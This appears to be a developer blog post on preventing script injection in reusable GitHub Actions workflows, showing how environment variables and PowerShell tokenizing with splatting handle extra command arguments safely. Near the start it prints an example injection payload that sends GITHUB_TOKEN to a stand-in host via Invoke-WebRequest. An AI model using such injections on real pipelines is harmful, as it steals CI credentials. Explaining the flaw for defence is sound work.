When creating reusable GitHub Actions workflows or composite actions, you often need to allow callers to provide extra arguments to a command. For example, a workflow that builds a .NET project might accept additional arguments for dotnet build. Handling these arguments safely requires careful attention to prevent script injection and ensure proper argument splitting.
#The problem with direct interpolation
A common but unsafe pattern is to directly interpolate the input into the run step:
YAML
on:
workflow_call:
inputs:
extra-args:
type: string
required: false
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
shell: pwsh
run: dotnet build --configuration Release ${{ inputs.extra-args }}
This is vulnerable to script injection. GitHub Actions expressions (${{ }}) are substituted before the shell interprets the script. A malicious caller could provide:
"; Invoke-WebRequest "https://evil.example.com/steal?token=$env:GITHUB_TOKEN" #
The resulting script becomes:
PowerShell
dotnet build --configuration Release ""; Invoke-WebRequest "https://evil.example.com/steal?token=$env:GITHUB_TOKEN" #
This leaks sensitive data.
On a lower severity level, even non-malicious inputs with special characters (like &, |, ;) can break the script and cause unintended consequences.
#Using environment variables to prevent injection
The recommended mitigation is to pass inputs through environment variables instead of direct interpolation:
YAML
- name: Build
shell: pwsh
env:
EXTRA_ARGS: ${{ inputs.extra-args }}
run: dotnet build --configuration Release $env:EXTRA_ARGS
Environment variables are set by the runner before the shell starts, so their values cannot alter the script structure. This eliminates the injection vulnerability.
However, this introduces a new problem: argument splitting.
#The argument splitting problem
In PowerShell, $env:EXTRA_ARGS is treated as a single string argument:
YAML
- name: Build
shell: pwsh
env:
EXTRA_ARGS: ${{ inputs.extra-args }}
run: dotnet build --configuration Release $env:EXTRA_ARGS
If the caller passes --no-restore --verbosity detailed, the entire string is passed as one argument to dotnet build, which is not the intended behavior.
#Using PowerShell's PSParser to tokenize arguments
PowerShell provides [System.Management.Automation.PSParser]::Tokenize() to parse a string into tokens using the same rules the PowerShell engine uses. This correctly handles quoted strings, special characters, and newlines.
Here's the complete solution:
YAML
on:
workflow_call:
inputs:
extra-args:
type: string
required: false
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
shell: pwsh
env:
EXTRA_ARGS: ${{ inputs.extra-args }}
run: |
# Parse the extra arguments using PowerShell's tokenizer
$errors = $null
$tokens = [System.Management.Automation.PSParser]::Tokenize($env:EXTRA_ARGS, [ref]$errors)
if ($errors.Count -gt 0) {
Write-Error "Failed to parse extra arguments: $($errors | Out-String)"
exit 1
}
# Extract token values, skipping newlines
$parsedArgs = @()
foreach ($token in $tokens) {
if ($token.Type -ne [System.Management.Automation.PSTokenType]::NewLine) {
$parsedArgs += $token.Content
}
}
# Call the command with the parsed arguments using splatting
dotnet build --configuration Release @parsedArgs
#How it works
PSParser::Tokenize parses the input string the same way PowerShell's engine would. This means:
--no-restore --verbosity detailed produces three tokens: --no-restore, --verbosity, detailed--filter "Category=Unit Tests" produces two tokens: --filter, Category=Unit Tests (quotes are handled correctly)- Arguments spanning multiple lines are handled correctly since newline tokens are filtered out
The @parsedArgs syntax (splatting) passes each element of the array as a separate argument to the command, preserving the correct argument boundaries.
#Making it reusable
You can extract the parsing logic into a reusable function:
PowerShell
function Split-Arguments {
[CmdletBinding()]
param(
[Parameter(Mandatory = $false)]
[string]$ArgumentString
)
if ([string]::IsNullOrWhiteSpace($ArgumentString)) {
return @()
}
$errors = $null
$tokens = [System.Management.Automation.PSParser]::Tokenize($ArgumentString, [ref]$errors)
if ($errors.Count -gt 0) {
throw "Failed to parse arguments: $($errors | Out-String)"
}
$result = @()
foreach ($token in $tokens) {
if ($token.Type -ne [System.Management.Automation.PSTokenType]::NewLine) {
$result += $token.Content
}
}
return $result
}
# Usage
$extraArgs = Split-Arguments $env:EXTRA_ARGS
dotnet build --configuration Release @extraArgs
#Additional resources
Do you have a question or a suggestion about this post? Contact me!